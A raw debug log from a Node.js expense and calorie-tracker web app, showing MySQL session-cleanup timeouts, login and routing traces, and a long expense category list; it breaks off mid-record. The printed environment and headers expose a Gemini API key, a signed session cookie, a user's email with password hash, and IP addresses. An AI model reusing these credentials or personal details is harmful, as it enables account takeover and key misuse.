Error: delete from `sessions` where expired < CAST('2025-12-15 02:02:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 02:02:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 02:06:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 02:06:05' as DATETIME)"
}
2025-12-15T02:22:39.368Z server-connect:router Serving templateView /
2025-12-15T02:22:39.369Z server-connect:app Executing action step identify
2025-12-15T02:22:39.369Z server-connect:app options: { provider: 'security' }
2025-12-15T02:22:39.369Z server-connect:auth No login cookie found
2025-12-15T02:22:39.369Z server-connect:output identity: false
2025-12-15T02:22:39.369Z server-connect:app Executing action step restrict
2025-12-15T02:22:39.369Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T02:22:39.370Z server-connect:output restrict: undefined
2025-12-15T02:22:39.584Z server-connect:router Serving templateView /login
2025-12-15T02:22:39.584Z server-connect:app Executing action step identify
2025-12-15T02:22:39.584Z server-connect:app options: { provider: 'security' }
2025-12-15T02:22:39.584Z server-connect:auth No login cookie found
2025-12-15T02:22:39.584Z server-connect:output identity: false
2025-12-15T02:22:39.584Z server-connect:router Render template layouts/authentication
2025-12-15T02:22:39.585Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; Android 12) Chrome/111.0 Mobile Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '35.247.133.146',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T02:22:39.584Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.247.133.146',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12) Chrome/111.0 Mobile Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '35.247.133.146',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 04:27:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 04:27:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 05:08:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 05:08:05' as DATETIME)"
}
2025-12-15T05:39:34.909Z server-connect:router Serving templateView /
2025-12-15T05:39:34.910Z server-connect:app Executing action step identify
2025-12-15T05:39:34.910Z server-connect:app options: { provider: 'security' }
2025-12-15T05:39:34.958Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-15T05:39:34.961Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-15T05:39:35.007Z server-connect:output identity: 1
2025-12-15T05:39:35.007Z server-connect:app Executing action step restrict
2025-12-15T05:39:35.007Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T05:39:35.007Z server-connect:output restrict: undefined
2025-12-15T05:39:35.008Z server-connect:app Executing action step restrict
2025-12-15T05:39:35.008Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T05:39:35.008Z server-connect:output restrict: undefined
2025-12-15T05:39:35.008Z server-connect:router Render template layouts/main
2025-12-15T05:39:35.008Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T05:39:34.908Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-15T05:39:36.627Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-15T05:39:36.628Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-15T05:39:36.628Z server-connect:app Executing action step identify
2025-12-15T05:39:36.628Z server-connect:app options: { provider: 'security' }
2025-12-15T05:39:36.628Z server-connect:output identity: 1
2025-12-15T05:39:36.628Z server-connect:app Executing action step restrict
2025-12-15T05:39:36.628Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:39:36.628Z server-connect:app Executing action step identify
2025-12-15T05:39:36.628Z server-connect:app options: { provider: 'security' }
2025-12-15T05:39:36.628Z server-connect:output identity: 1
2025-12-15T05:39:36.628Z server-connect:app Executing action step restrict
2025-12-15T05:39:36.628Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:39:36.630Z server-connect:output restrict: undefined
2025-12-15T05:39:36.630Z server-connect:app Executing action step single
2025-12-15T05:39:36.630Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-15T05:39:36.631Z server-connect:output restrict: undefined
2025-12-15T05:39:36.631Z server-connect:app Executing action step select
2025-12-15T05:39:36.631Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-15T05:39:36.631Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-15T05:39:36.637Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-15T05:39:38.297Z server-connect:router Serving templateView /calorie-tracker
2025-12-15T05:39:38.297Z server-connect:app Executing action step identify
2025-12-15T05:39:38.297Z server-connect:app options: { provider: 'security' }
2025-12-15T05:39:38.297Z server-connect:output identity: 1
2025-12-15T05:39:38.297Z server-connect:app Executing action step restrict
2025-12-15T05:39:38.297Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T05:39:38.298Z server-connect:output restrict: undefined
2025-12-15T05:39:38.298Z server-connect:router Render template calorie-tracker
2025-12-15T05:39:38.298Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
